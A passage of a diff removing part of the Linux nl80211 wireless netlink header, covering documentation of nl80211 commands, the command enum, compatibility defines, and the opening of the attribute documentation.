- *	%NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
- *	management frames at CCK rate or not in 2GHz band.
- *	%NL80211_ATTR_CSA_C_OFFSETS_TX is an array of offsets to CSA
- *	counters which will be updated to the current value. This attribute
- *	is used during CSA period.
- * @NL80211_CMD_FRAME_WAIT_CANCEL: When an off-channel TX was requested, this
- *	command may be used with the corresponding cookie to cancel the wait
- *	time if it is known that it is no longer necessary.
- * @NL80211_CMD_ACTION: Alias for @NL80211_CMD_FRAME for backward compatibility.
- * @NL80211_CMD_FRAME_TX_STATUS: Report TX status of a management frame
- *	transmitted with %NL80211_CMD_FRAME. %NL80211_ATTR_COOKIE identifies
- *	the TX command and %NL80211_ATTR_FRAME includes the contents of the
- *	frame. %NL80211_ATTR_ACK flag is included if the recipient acknowledged
- *	the frame.
- * @NL80211_CMD_ACTION_TX_STATUS: Alias for @NL80211_CMD_FRAME_TX_STATUS for
- *	backward compatibility.
- *
- * @NL80211_CMD_SET_POWER_SAVE: Set powersave, using %NL80211_ATTR_PS_STATE
- * @NL80211_CMD_GET_POWER_SAVE: Get powersave status in %NL80211_ATTR_PS_STATE
- *
- * @NL80211_CMD_SET_CQM: Connection quality monitor configuration. This command
- *	is used to configure connection quality monitoring notification trigger
- *	levels.
- * @NL80211_CMD_NOTIFY_CQM: Connection quality monitor notification. This
- *	command is used as an event to indicate the that a trigger level was
- *	reached.
- * @NL80211_CMD_SET_CHANNEL: Set the channel (using %NL80211_ATTR_WIPHY_FREQ
- *	and the attributes determining channel width) the given interface
- *	(identifed by %NL80211_ATTR_IFINDEX) shall operate on.
- *	In case multiple channels are supported by the device, the mechanism
- *	with which it switches channels is implementation-defined.
- *	When a monitor interface is given, it can only switch channel while
- *	no other interfaces are operating to avoid disturbing the operation
- *	of any other interfaces, and other interfaces will again take
- *	precedence when they are used.
- *
- * @NL80211_CMD_SET_WDS_PEER: Set the MAC address of the peer on a WDS
- *interface.
- *
- * @NL80211_CMD_JOIN_MESH: Join a mesh. The mesh ID must be given, and initial
- *	mesh config parameters may be given.
- * @NL80211_CMD_LEAVE_MESH: Leave the mesh network -- no special arguments, the
- *	network is determined by the network interface.
- *
- * @NL80211_CMD_UNPROT_DEAUTHENTICATE: Unprotected deauthentication frame
- *	notification. This event is used to indicate that an unprotected
- *	deauthentication frame was dropped when MFP is in use.
- * @NL80211_CMD_UNPROT_DISASSOCIATE: Unprotected disassociation frame
- *	notification. This event is used to indicate that an unprotected
- *	disassociation frame was dropped when MFP is in use.
- *
- * @NL80211_CMD_NEW_PEER_CANDIDATE: Notification on the reception of a
- *      beacon or probe response from a compatible mesh peer.  This is only
- *      sent while no station information (sta_info) exists for the new peer
- *      candidate and when @NL80211_MESH_SETUP_USERSPACE_AUTH,
- *      @NL80211_MESH_SETUP_USERSPACE_AMPE, or
- *      @NL80211_MESH_SETUP_USERSPACE_MPM is set.  On reception of this
- *      notification, userspace may decide to create a new station
- *      (@NL80211_CMD_NEW_STATION).  To stop this notification from
- *      reoccurring, the userspace authentication daemon may want to create the
- *      new station with the AUTHENTICATED flag unset and maybe change it later
- *      depending on the authentication result.
- *
- * @NL80211_CMD_GET_WOWLAN: get Wake-on-Wireless-LAN (WoWLAN) settings.
- * @NL80211_CMD_SET_WOWLAN: set Wake-on-Wireless-LAN (WoWLAN) settings.
- *	Since wireless is more complex than wired ethernet, it supports
- *	various triggers. These triggers can be configured through this
- *	command with the %NL80211_ATTR_WOWLAN_TRIGGERS attribute. For
- *	more background information, see
- *	http://wireless.kernel.org/en/users/Documentation/WoWLAN.
- *	The @NL80211_CMD_SET_WOWLAN command can also be used as a notification
- *	from the driver reporting the wakeup reason. In this case, the
- *	@NL80211_ATTR_WOWLAN_TRIGGERS attribute will contain the reason
- *	for the wakeup, if it was caused by wireless. If it is not present
- *	in the wakeup notification, the wireless device didn't cause the
- *	wakeup but reports that it was woken up.
- *
- * @NL80211_CMD_SET_REKEY_OFFLOAD: This command is used give the driver
- *	the necessary information for supporting GTK rekey offload. This
- *	feature is typically used during WoWLAN. The configuration data
- *	is contained in %NL80211_ATTR_REKEY_DATA (which is nested and
- *	contains the data in sub-attributes). After rekeying happened,
- *	this command may also be sent by the driver as an MLME event to
- *	inform userspace of the new replay counter.
- *
- * @NL80211_CMD_PMKSA_CANDIDATE: This is used as an event to inform userspace
- *	of PMKSA caching dandidates.
- *
- * @NL80211_CMD_TDLS_OPER: Perform a high-level TDLS command (e.g. link setup).
- *	In addition, this can be used as an event to request userspace to take
- *	actions on TDLS links (set up a new link or tear down an existing one).
- *	In such events, %NL80211_ATTR_TDLS_OPERATION indicates the requested
- *	operation, %NL80211_ATTR_MAC contains the peer MAC address, and
- *	%NL80211_ATTR_REASON_CODE the reason code to be used (only with
- *	%NL80211_TDLS_TEARDOWN).
- * @NL80211_CMD_TDLS_MGMT: Send a TDLS management frame. The
- *	%NL80211_ATTR_TDLS_ACTION attribute determines the type of frame to be
- *	sent. Public Action codes (802.11-2012 8.1.5.1) will be sent as
- *	802.11 management frames, while TDLS action codes (802.11-2012
- *	8.5.13.1) will be encapsulated and sent as data frames. The currently
- *	supported Public Action code is %WLAN_PUB_ACTION_TDLS_DISCOVER_RES
- *	and the currently supported TDLS actions codes are given in
- *	&enum ieee80211_tdls_actioncode.
- *
- * @NL80211_CMD_UNEXPECTED_FRAME: Used by an application controlling an AP
- *	(or GO) interface (i.e. hostapd) to ask for unexpected frames to
- *	implement sending deauth to stations that send unexpected class 3
- *	frames. Also used as the event sent by the kernel when such a frame
- *	is received.
- *	For the event, the %NL80211_ATTR_MAC attribute carries the TA and
- *	other attributes like the interface index are present.
- *	If used as the command it must have an interface index and you can
- *	only unsubscribe from the event by closing the socket. Subscription
- *	is also for %NL80211_CMD_UNEXPECTED_4ADDR_FRAME events.
- *
- * @NL80211_CMD_UNEXPECTED_4ADDR_FRAME: Sent as an event indicating that the
- *	associated station identified by %NL80211_ATTR_MAC sent a 4addr frame
- *	and wasn't already in a 4-addr VLAN. The event will be sent similarly
- *	to the %NL80211_CMD_UNEXPECTED_FRAME event, to the same listener.
- *
- * @NL80211_CMD_PROBE_CLIENT: Probe an associated station on an AP interface
- *	by sending a null data frame to it and reporting when the frame is
- *	acknowleged. This is used to allow timing out inactive clients. Uses
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_MAC. The command returns a
- *	direct reply with an %NL80211_ATTR_COOKIE that is later used to match
- *	up the event with the request. The event includes the same data and
- *	has %NL80211_ATTR_ACK set if the frame was ACKed.
- *
- * @NL80211_CMD_REGISTER_BEACONS: Register this socket to receive beacons from
- *	other BSSes when any interfaces are in AP mode. This helps implement
- *	OLBC handling in hostapd. Beacons are reported in %NL80211_CMD_FRAME
- *	messages. Note that per PHY only one application may register.
- *
- * @NL80211_CMD_SET_NOACK_MAP: sets a bitmap for the individual TIDs whether
- *      No Acknowledgement Policy should be applied.
- *
- * @NL80211_CMD_CH_SWITCH_NOTIFY: An AP or GO may decide to switch channels
- *	independently of the userspace SME, send this event indicating
- *	%NL80211_ATTR_IFINDEX is now on %NL80211_ATTR_WIPHY_FREQ and the
- *	attributes determining channel width.
- *
- * @NL80211_CMD_CH_SWITCH_STARTED_NOTIFY: Notify that a channel switch
- *      has been started on an interface, regardless of the initiator
- *      (ie. whether it was requested from a remote device or
- *      initiated on our own).  It indicates that
- *      %NL80211_ATTR_IFINDEX will be on %NL80211_ATTR_WIPHY_FREQ
- *      after %NL80211_ATTR_CH_SWITCH_COUNT TBTT's.  The userspace may
- *      decide to react to this indication by requesting other
- *      interfaces to change channel as well.
- *
- * @NL80211_CMD_START_P2P_DEVICE: Start the given P2P Device, identified by
- *	its %NL80211_ATTR_WDEV identifier. It must have been created with
- *	%NL80211_CMD_NEW_INTERFACE previously. After it has been started, the
- *	P2P Device can be used for P2P operations, e.g. remain-on-channel and
- *	public action frame TX.
- * @NL80211_CMD_STOP_P2P_DEVICE: Stop the given P2P Device, identified by
- *	its %NL80211_ATTR_WDEV identifier.
- *
- * @NL80211_CMD_CONN_FAILED: connection request to an AP failed; used to
- *	notify userspace that AP has rejected the connection request from a
- *	station, due to particular reason. %NL80211_ATTR_CONN_FAILED_REASON
- *	is used for this.
- *
- * @NL80211_CMD_SET_MCAST_RATE: Change the rate used to send multicast frames
- *	for IBSS or MESH vif.
- *
- * @NL80211_CMD_SET_MAC_ACL: sets ACL for MAC address based access control.
- *	This is to be used with the drivers advertising the support of MAC
- *	address based access control. List of MAC addresses is passed in
- *	%NL80211_ATTR_MAC_ADDRS and ACL policy is passed in
- *	%NL80211_ATTR_ACL_POLICY. Driver will enable ACL with this list, if it
- *	is not already done. The new list will replace any existing list. Driver
- *	will clear its ACL when the list of MAC addresses passed is empty. This
- *	command is used in AP/P2P GO mode. Driver has to make sure to clear its
- *	ACL list during %NL80211_CMD_STOP_AP.
- *
- * @NL80211_CMD_RADAR_DETECT: Start a Channel availability check (CAC). Once
- *	a radar is detected or the channel availability scan (CAC) has finished
- *	or was aborted, or a radar was detected, usermode will be notified with
- *	this event. This command is also used to notify userspace about radars
- *	while operating on this channel.
- *	%NL80211_ATTR_RADAR_EVENT is used to inform about the type of the
- *	event.
- *
- * @NL80211_CMD_GET_PROTOCOL_FEATURES: Get global nl80211 protocol features,
- *	i.e. features for the nl80211 protocol rather than device features.
- *	Returns the features in the %NL80211_ATTR_PROTOCOL_FEATURES bitmap.
- *
- * @NL80211_CMD_UPDATE_FT_IES: Pass down the most up-to-date Fast Transition
- *	Information Element to the WLAN driver
- *
- * @NL80211_CMD_FT_EVENT: Send a Fast transition event from the WLAN driver
- *	to the supplicant. This will carry the target AP's MAC address along
- *	with the relevant Information Elements. This event is used to report
- *	received FT IEs (MDIE, FTIE, RSN IE, TIE, RICIE).
- *
- * @NL80211_CMD_CRIT_PROTOCOL_START: Indicates user-space will start running
- *	a critical protocol that needs more reliability in the connection to
- *	complete.
- *
- * @NL80211_CMD_CRIT_PROTOCOL_STOP: Indicates the connection reliability can
- *	return back to normal.
- *
- * @NL80211_CMD_GET_COALESCE: Get currently supported coalesce rules.
- * @NL80211_CMD_SET_COALESCE: Configure coalesce rules or clear existing rules.
- *
- * @NL80211_CMD_CHANNEL_SWITCH: Perform a channel switch by announcing the
- *	the new channel information (Channel Switch Announcement - CSA)
- *	in the beacon for some time (as defined in the
- *	%NL80211_ATTR_CH_SWITCH_COUNT parameter) and then change to the
- *	new channel. Userspace provides the new channel information (using
- *	%NL80211_ATTR_WIPHY_FREQ and the attributes determining channel
- *	width). %NL80211_ATTR_CH_SWITCH_BLOCK_TX may be supplied to inform
- *	other station that transmission must be blocked until the channel
- *	switch is complete.
- *
- * @NL80211_CMD_VENDOR: Vendor-specified command/event. The command is specified
- *	by the %NL80211_ATTR_VENDOR_ID attribute and a sub-command in
- *	%NL80211_ATTR_VENDOR_SUBCMD. Parameter(s) can be transported in
- *	%NL80211_ATTR_VENDOR_DATA.
- *	For feature advertisement, the %NL80211_ATTR_VENDOR_DATA attribute is
- *	used in the wiphy data as a nested attribute containing descriptions
- *	(&struct nl80211_vendor_cmd_info) of the supported vendor commands.
- *	This may also be sent as an event with the same attributes.
- *
- * @NL80211_CMD_SET_QOS_MAP: Set Interworking QoS mapping for IP DSCP values.
- *	The QoS mapping information is included in %NL80211_ATTR_QOS_MAP. If
- *	that attribute is not included, QoS mapping is disabled. Since this
- *	QoS mapping is relevant for IP packets, it is only valid during an
- *	association. This is cleared on disassociation and AP restart.
- *
- * @NL80211_CMD_ADD_TX_TS: Ask the kernel to add a traffic stream for the given
- *	%NL80211_ATTR_TSID and %NL80211_ATTR_MAC with %NL80211_ATTR_USER_PRIO
- *	and %NL80211_ATTR_ADMITTED_TIME parameters.
- *	Note that the action frame handshake with the AP shall be handled by
- *	userspace via the normal management RX/TX framework, this only sets
- *	up the TX TS in the driver/device.
- *	If the admitted time attribute is not added then the request just checks
- *	if a subsequent setup could be successful, the intent is to use this to
- *	avoid setting up a session with the AP when local restrictions would
- *	make that impossible. However, the subsequent "real" setup may still
- *	fail even if the check was successful.
- * @NL80211_CMD_DEL_TX_TS: Remove an existing TS with the %NL80211_ATTR_TSID
- *	and %NL80211_ATTR_MAC parameters. It isn't necessary to call this
- *	before removing a station entry entirely, or before disassociating
- *	or similar, cleanup will happen in the driver/device in this case.
- *
- * @NL80211_CMD_GET_MPP: Get mesh path attributes for mesh proxy path to
- *	destination %NL80211_ATTR_MAC on the interface identified by
- *	%NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_JOIN_OCB: Join the OCB network. The center frequency and
- *	bandwidth of a channel must be given.
- * @NL80211_CMD_LEAVE_OCB: Leave the OCB network -- no special arguments, the
- *	network is determined by the network interface.
- *
- * @NL80211_CMD_TDLS_CHANNEL_SWITCH: Start channel-switching with a TDLS peer,
- *	identified by the %NL80211_ATTR_MAC parameter. A target channel is
- *	provided via %NL80211_ATTR_WIPHY_FREQ and other attributes determining
- *	channel width/type. The target operating class is given via
- *	%NL80211_ATTR_OPER_CLASS.
- *	The driver is responsible for continually initiating channel-switching
- *	operations and returning to the base channel for communication with the
- *	AP.
- * @NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH: Stop channel-switching with a TDLS
- *	peer given by %NL80211_ATTR_MAC. Both peers must be on the base channel
- *	when this command completes.
- *
- * @NL80211_CMD_WIPHY_REG_CHANGE: Similar to %NL80211_CMD_REG_CHANGE, but used
- *	as an event to indicate changes for devices with wiphy-specific regdom
- *	management.
- *
- * @NL80211_CMD_ABORT_SCAN: Stop an ongoing scan. Returns -ENOENT if a scan is
- *	not running. The driver indicates the status of the scan through
- *	cfg80211_scan_done().
- *
- * @NL80211_CMD_MAX: highest used command number
- * @__NL80211_CMD_AFTER_LAST: internal use
- */
-enum nl80211_commands {
-  /* don't change the order or add anything between, this is ABI! */
-  NL80211_CMD_UNSPEC,
-
-  NL80211_CMD_GET_WIPHY, /* can dump */
-  NL80211_CMD_SET_WIPHY,
-  NL80211_CMD_NEW_WIPHY,
-  NL80211_CMD_DEL_WIPHY,
-
-  NL80211_CMD_GET_INTERFACE, /* can dump */
-  NL80211_CMD_SET_INTERFACE,
-  NL80211_CMD_NEW_INTERFACE,
-  NL80211_CMD_DEL_INTERFACE,
-
-  NL80211_CMD_GET_KEY,
-  NL80211_CMD_SET_KEY,
-  NL80211_CMD_NEW_KEY,
-  NL80211_CMD_DEL_KEY,
-
-  NL80211_CMD_GET_BEACON,
-  NL80211_CMD_SET_BEACON,
-  NL80211_CMD_START_AP,
-  NL80211_CMD_NEW_BEACON = NL80211_CMD_START_AP,
-  NL80211_CMD_STOP_AP,
-  NL80211_CMD_DEL_BEACON = NL80211_CMD_STOP_AP,
-
-  NL80211_CMD_GET_STATION,
-  NL80211_CMD_SET_STATION,
-  NL80211_CMD_NEW_STATION,
-  NL80211_CMD_DEL_STATION,
-
-  NL80211_CMD_GET_MPATH,
-  NL80211_CMD_SET_MPATH,
-  NL80211_CMD_NEW_MPATH,
-  NL80211_CMD_DEL_MPATH,
-
-  NL80211_CMD_SET_BSS,
-
-  NL80211_CMD_SET_REG,
-  NL80211_CMD_REQ_SET_REG,
-
-  NL80211_CMD_GET_MESH_CONFIG,
-  NL80211_CMD_SET_MESH_CONFIG,
-
-  NL80211_CMD_SET_MGMT_EXTRA_IE /* reserved; not used */,
-
-  NL80211_CMD_GET_REG,
-
-  NL80211_CMD_GET_SCAN,
-  NL80211_CMD_TRIGGER_SCAN,
-  NL80211_CMD_NEW_SCAN_RESULTS,
-  NL80211_CMD_SCAN_ABORTED,
-
-  NL80211_CMD_REG_CHANGE,
-
-  NL80211_CMD_AUTHENTICATE,
-  NL80211_CMD_ASSOCIATE,
-  NL80211_CMD_DEAUTHENTICATE,
-  NL80211_CMD_DISASSOCIATE,
-
-  NL80211_CMD_MICHAEL_MIC_FAILURE,
-
-  NL80211_CMD_REG_BEACON_HINT,
-
-  NL80211_CMD_JOIN_IBSS,
-  NL80211_CMD_LEAVE_IBSS,
-
-  NL80211_CMD_TESTMODE,
-
-  NL80211_CMD_CONNECT,
-  NL80211_CMD_ROAM,
-  NL80211_CMD_DISCONNECT,
-
-  NL80211_CMD_SET_WIPHY_NETNS,
-
-  NL80211_CMD_GET_SURVEY,
-  NL80211_CMD_NEW_SURVEY_RESULTS,
-
-  NL80211_CMD_SET_PMKSA,
-  NL80211_CMD_DEL_PMKSA,
-  NL80211_CMD_FLUSH_PMKSA,
-
-  NL80211_CMD_REMAIN_ON_CHANNEL,
-  NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL,
-
-  NL80211_CMD_SET_TX_BITRATE_MASK,
-
-  NL80211_CMD_REGISTER_FRAME,
-  NL80211_CMD_REGISTER_ACTION = NL80211_CMD_REGISTER_FRAME,
-  NL80211_CMD_FRAME,
-  NL80211_CMD_ACTION = NL80211_CMD_FRAME,
-  NL80211_CMD_FRAME_TX_STATUS,
-  NL80211_CMD_ACTION_TX_STATUS = NL80211_CMD_FRAME_TX_STATUS,
-
-  NL80211_CMD_SET_POWER_SAVE,
-  NL80211_CMD_GET_POWER_SAVE,
-
-  NL80211_CMD_SET_CQM,
-  NL80211_CMD_NOTIFY_CQM,
-
-  NL80211_CMD_SET_CHANNEL,
-  NL80211_CMD_SET_WDS_PEER,
-
-  NL80211_CMD_FRAME_WAIT_CANCEL,
-
-  NL80211_CMD_JOIN_MESH,
-  NL80211_CMD_LEAVE_MESH,
-
-  NL80211_CMD_UNPROT_DEAUTHENTICATE,
-  NL80211_CMD_UNPROT_DISASSOCIATE,
-
-  NL80211_CMD_NEW_PEER_CANDIDATE,
-
-  NL80211_CMD_GET_WOWLAN,
-  NL80211_CMD_SET_WOWLAN,
-
-  NL80211_CMD_START_SCHED_SCAN,
-  NL80211_CMD_STOP_SCHED_SCAN,
-  NL80211_CMD_SCHED_SCAN_RESULTS,
-  NL80211_CMD_SCHED_SCAN_STOPPED,
-
-  NL80211_CMD_SET_REKEY_OFFLOAD,
-
-  NL80211_CMD_PMKSA_CANDIDATE,
-
-  NL80211_CMD_TDLS_OPER,
-  NL80211_CMD_TDLS_MGMT,
-
-  NL80211_CMD_UNEXPECTED_FRAME,
-
-  NL80211_CMD_PROBE_CLIENT,
-
-  NL80211_CMD_REGISTER_BEACONS,
-
-  NL80211_CMD_UNEXPECTED_4ADDR_FRAME,
-
-  NL80211_CMD_SET_NOACK_MAP,
-
-  NL80211_CMD_CH_SWITCH_NOTIFY,
-
-  NL80211_CMD_START_P2P_DEVICE,
-  NL80211_CMD_STOP_P2P_DEVICE,
-
-  NL80211_CMD_CONN_FAILED,
-
-  NL80211_CMD_SET_MCAST_RATE,
-
-  NL80211_CMD_SET_MAC_ACL,
-
-  NL80211_CMD_RADAR_DETECT,
-
-  NL80211_CMD_GET_PROTOCOL_FEATURES,
-
-  NL80211_CMD_UPDATE_FT_IES,
-  NL80211_CMD_FT_EVENT,
-
-  NL80211_CMD_CRIT_PROTOCOL_START,
-  NL80211_CMD_CRIT_PROTOCOL_STOP,
-
-  NL80211_CMD_GET_COALESCE,
-  NL80211_CMD_SET_COALESCE,
-
-  NL80211_CMD_CHANNEL_SWITCH,
-
-  NL80211_CMD_VENDOR,
-
-  NL80211_CMD_SET_QOS_MAP,
-
-  NL80211_CMD_ADD_TX_TS,
-  NL80211_CMD_DEL_TX_TS,
-
-  NL80211_CMD_GET_MPP,
-
-  NL80211_CMD_JOIN_OCB,
-  NL80211_CMD_LEAVE_OCB,
-
-  NL80211_CMD_CH_SWITCH_STARTED_NOTIFY,
-
-  NL80211_CMD_TDLS_CHANNEL_SWITCH,
-  NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH,
-
-  NL80211_CMD_WIPHY_REG_CHANGE,
-
-  NL80211_CMD_ABORT_SCAN,
-
-  /* add new commands above here */
-
-  /* used to define NL80211_CMD_MAX below */
-  __NL80211_CMD_AFTER_LAST,
-  NL80211_CMD_MAX = __NL80211_CMD_AFTER_LAST - 1
-};
-
-/*
- * Allow user space programs to use #ifdef on new commands by defining them
- * here
- */
-#define NL80211_CMD_SET_BSS NL80211_CMD_SET_BSS
-#define NL80211_CMD_SET_MGMT_EXTRA_IE NL80211_CMD_SET_MGMT_EXTRA_IE
-#define NL80211_CMD_REG_CHANGE NL80211_CMD_REG_CHANGE
-#define NL80211_CMD_AUTHENTICATE NL80211_CMD_AUTHENTICATE
-#define NL80211_CMD_ASSOCIATE NL80211_CMD_ASSOCIATE
-#define NL80211_CMD_DEAUTHENTICATE NL80211_CMD_DEAUTHENTICATE
-#define NL80211_CMD_DISASSOCIATE NL80211_CMD_DISASSOCIATE
-#define NL80211_CMD_REG_BEACON_HINT NL80211_CMD_REG_BEACON_HINT
-
-#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
-
-/* source-level API compatibility */
-#define NL80211_CMD_GET_MESH_PARAMS NL80211_CMD_GET_MESH_CONFIG
-#define NL80211_CMD_SET_MESH_PARAMS NL80211_CMD_SET_MESH_CONFIG
-#define NL80211_MESH_SETUP_VENDOR_PATH_SEL_IE NL80211_MESH_SETUP_IE
-
-/**
- * enum nl80211_attrs - nl80211 netlink attributes
- *
- * @NL80211_ATTR_UNSPEC: unspecified attribute to catch errors
- *
- * @NL80211_ATTR_WIPHY: index of wiphy to operate on, cf.
- *	/sys/class/ieee80211/<phyname>/index
- * @NL80211_ATTR_WIPHY_NAME: wiphy name (used for renaming)
- * @NL80211_ATTR_WIPHY_TXQ_PARAMS: a nested array of TX queue parameters
- * @NL80211_ATTR_WIPHY_FREQ: frequency of the selected channel in MHz,
- *	defines the channel together with the (deprecated)
- *	%NL80211_ATTR_WIPHY_CHANNEL_TYPE attribute or the attributes
- *	%NL80211_ATTR_CHANNEL_WIDTH and if needed %NL80211_ATTR_CENTER_FREQ1
- *	and %NL80211_ATTR_CENTER_FREQ2
- * @NL80211_ATTR_CHANNEL_WIDTH: u32 attribute containing one of the values
- *	of &enum nl80211_chan_width, describing the channel width. See the
- *	documentation of the enum for more information.
- * @NL80211_ATTR_CENTER_FREQ1: Center frequency of the first part of the
- *	channel, used for anything but 20 MHz bandwidth
- * @NL80211_ATTR_CENTER_FREQ2: Center frequency of the second part of the
- *	channel, used only for 80+80 MHz bandwidth
- * @NL80211_ATTR_WIPHY_CHANNEL_TYPE: included with NL80211_ATTR_WIPHY_FREQ
- *	if HT20 or HT40 are to be used (i.e., HT disabled if not included):
- *	NL80211_CHAN_NO_HT = HT not allowed (i.e., same as not including
- *		this attribute)
- *	NL80211_CHAN_HT20 = HT20 only
- *	NL80211_CHAN_HT40MINUS = secondary channel is below the primary channel
- *	NL80211_CHAN_HT40PLUS = secondary channel is above the primary channel
- *	This attribute is now deprecated.
- * @NL80211_ATTR_WIPHY_RETRY_SHORT: TX retry limit for frames whose length is
- *	less than or equal to the RTS threshold; allowed range: 1..255;
- *	dot11ShortRetryLimit; u8
- * @NL80211_ATTR_WIPHY_RETRY_LONG: TX retry limit for frames whose length is
- *	greater than the RTS threshold; allowed range: 1..255;
- *	dot11ShortLongLimit; u8
- * @NL80211_ATTR_WIPHY_FRAG_THRESHOLD: fragmentation threshold, i.e., maximum
- *	length in octets for frames; allowed range: 256..8000, disable
- *	fragmentation with (u32)-1; dot11FragmentationThreshold; u32
- * @NL80211_ATTR_WIPHY_RTS_THRESHOLD: RTS threshold (TX frames with length
- *	larger than or equal to this use RTS/CTS handshake); allowed range:
- *	0..65536, disable with (u32)-1; dot11RTSThreshold; u32
- * @NL80211_ATTR_WIPHY_COVERAGE_CLASS: Coverage Class as defined by IEEE 802.11
- *	section 7.3.2.9; dot11CoverageClass; u8
- *
- * @NL80211_ATTR_IFINDEX: network interface index of the device to operate on
- * @NL80211_ATTR_IFNAME: network interface name
- * @NL80211_ATTR_IFTYPE: type of virtual interface, see &enum nl80211_iftype
- *
- * @NL80211_ATTR_WDEV: wireless device identifier, used for pseudo-devices
- *	that don't have a netdev (u64)
- *
- * @NL80211_ATTR_MAC: MAC address (various uses)
- *
- * @NL80211_ATTR_KEY_DATA: (temporal) key data; for TKIP this consists of
- *	16 bytes encryption key followed by 8 bytes each for TX and RX MIC
- *	keys
- * @NL80211_ATTR_KEY_IDX: key ID (u8, 0-3)
- * @NL80211_ATTR_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
- *	section 7.3.2.25.1, e.g. 0x000FAC04)
- * @NL80211_ATTR_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
- *	CCMP keys, each six bytes in little endian
- * @NL80211_ATTR_KEY_DEFAULT: Flag attribute indicating the key is default key
- * @NL80211_ATTR_KEY_DEFAULT_MGMT: Flag attribute indicating the key is the
- *	default management key
- * @NL80211_ATTR_CIPHER_SUITES_PAIRWISE: For crypto settings for connect or
- *	other commands, indicates which pairwise cipher suites are used
- * @NL80211_ATTR_CIPHER_SUITE_GROUP: For crypto settings for connect or
- *	other commands, indicates which group cipher suite is used
- *
- * @NL80211_ATTR_BEACON_INTERVAL: beacon interval in TU
- * @NL80211_ATTR_DTIM_PERIOD: DTIM period for beaconing
- * @NL80211_ATTR_BEACON_HEAD: portion of the beacon before the TIM IE
- * @NL80211_ATTR_BEACON_TAIL: portion of the beacon after the TIM IE
- *
- * @NL80211_ATTR_STA_AID: Association ID for the station (u16)
- * @NL80211_ATTR_STA_FLAGS: flags, nested element with NLA_FLAG attributes of
- *	&enum nl80211_sta_flags (deprecated, use %NL80211_ATTR_STA_FLAGS2)
- * @NL80211_ATTR_STA_LISTEN_INTERVAL: listen interval as defined by
- *	IEEE 802.11 7.3.1.6 (u16).
- * @NL80211_ATTR_STA_SUPPORTED_RATES: supported rates, array of supported
- *	rates as defined by IEEE 802.11 7.3.2.2 but without the length
- *	restriction (at most %NL80211_MAX_SUPP_RATES).
- * @NL80211_ATTR_STA_VLAN: interface index of VLAN interface to move station
- *	to, or the AP interface the station was originally added to to.
- * @NL80211_ATTR_STA_INFO: information about a station, part of station info
- *	given for %NL80211_CMD_GET_STATION, nested attribute containing
- *	info as possible, see &enum nl80211_sta_info.
- *
- * @NL80211_ATTR_WIPHY_BANDS: Information about an operating bands,
- *	consisting of a nested array.
- *
- * @NL80211_ATTR_MESH_ID: mesh id (1-32 bytes).
- * @NL80211_ATTR_STA_PLINK_ACTION: action to perform on the mesh peer link
- *	(see &enum nl80211_plink_action).
- * @NL80211_ATTR_MPATH_NEXT_HOP: MAC address of the next hop for a mesh path.
- * @NL80211_ATTR_MPATH_INFO: information about a mesh_path, part of mesh path
- * 	info given for %NL80211_CMD_GET_MPATH, nested attribute described at
- *	&enum nl80211_mpath_info.
- *
- * @NL80211_ATTR_MNTR_FLAGS: flags, nested element with NLA_FLAG attributes of
- *      &enum nl80211_mntr_flags.
- *
- * @NL80211_ATTR_REG_ALPHA2: an ISO-3166-alpha2 country code for which the
- * 	current regulatory domain should be set to or is already set to.
- * 	For example, 'CR', for Costa Rica. This attribute is used by the kernel
- * 	to query the CRDA to retrieve one regulatory domain. This attribute can
- * 	also be used by userspace to query the kernel for the currently set
- * 	regulatory domain. We chose an alpha2 as that is also used by the
- * 	IEEE-802.11 country information element to identify a country.
- * 	Users can also simply ask the wireless core to set regulatory domain
- * 	to a specific alpha2.
- * @NL80211_ATTR_REG_RULES: a nested array of regulatory domain regulatory
- *	rules.
- *
- * @NL80211_ATTR_BSS_CTS_PROT: whether CTS protection is enabled (u8, 0 or 1)
- * @NL80211_ATTR_BSS_SHORT_PREAMBLE: whether short preamble is enabled
- *	(u8, 0 or 1)
- * @NL80211_ATTR_BSS_SHORT_SLOT_TIME: whether short slot time enabled
- *	(u8, 0 or 1)
- * @NL80211_ATTR_BSS_BASIC_RATES: basic rates, array of basic
- *	rates in format defined by IEEE 802.11 7.3.2.2 but without the length
- *	restriction (at most %NL80211_MAX_SUPP_RATES).
- *
- * @NL80211_ATTR_HT_CAPABILITY: HT Capability information element (from
- *	association request when used with NL80211_CMD_NEW_STATION)
- *
- * @NL80211_ATTR_SUPPORTED_IFTYPES: nested attribute containing all
- *	supported interface types, each a flag attribute with the number
- *	of the interface mode.
- *
- * @NL80211_ATTR_MGMT_SUBTYPE: Management frame subtype for
- *	%NL80211_CMD_SET_MGMT_EXTRA_IE.
- *
- * @NL80211_ATTR_IE: Information element(s) data (used, e.g., with
- *	%NL80211_CMD_SET_MGMT_EXTRA_IE).
- *
- * @NL80211_ATTR_MAX_NUM_SCAN_SSIDS: number of SSIDs you can scan with
- *	a single scan request, a wiphy attribute.
- * @NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS: number of SSIDs you can
- *	scan with a single scheduled scan request, a wiphy attribute.
- * @NL80211_ATTR_MAX_SCAN_IE_LEN: maximum length of information elements
- *	that can be added to a scan request
- * @NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN: maximum length of information
- *	elements that can be added to a scheduled scan request
- * @NL80211_ATTR_MAX_MATCH_SETS: maximum number of sets that can be
- *	used with @NL80211_ATTR_SCHED_SCAN_MATCH, a wiphy attribute.
- *
- * @NL80211_ATTR_SCAN_FREQUENCIES: nested attribute with frequencies (in MHz)
- * @NL80211_ATTR_SCAN_SSIDS: nested attribute with SSIDs, leave out for passive
- *	scanning and include a zero-length SSID (wildcard) for wildcard scan
- * @NL80211_ATTR_BSS: scan result BSS
- *
- * @NL80211_ATTR_REG_INITIATOR: indicates who requested the regulatory domain
- * 	currently in effect. This could be any of the %NL80211_REGDOM_SET_BY_*
- * @NL80211_ATTR_REG_TYPE: indicates the type of the regulatory domain currently
- * 	set. This can be one of the nl80211_reg_type (%NL80211_REGDOM_TYPE_*)
- *
- * @NL80211_ATTR_SUPPORTED_COMMANDS: wiphy attribute that specifies
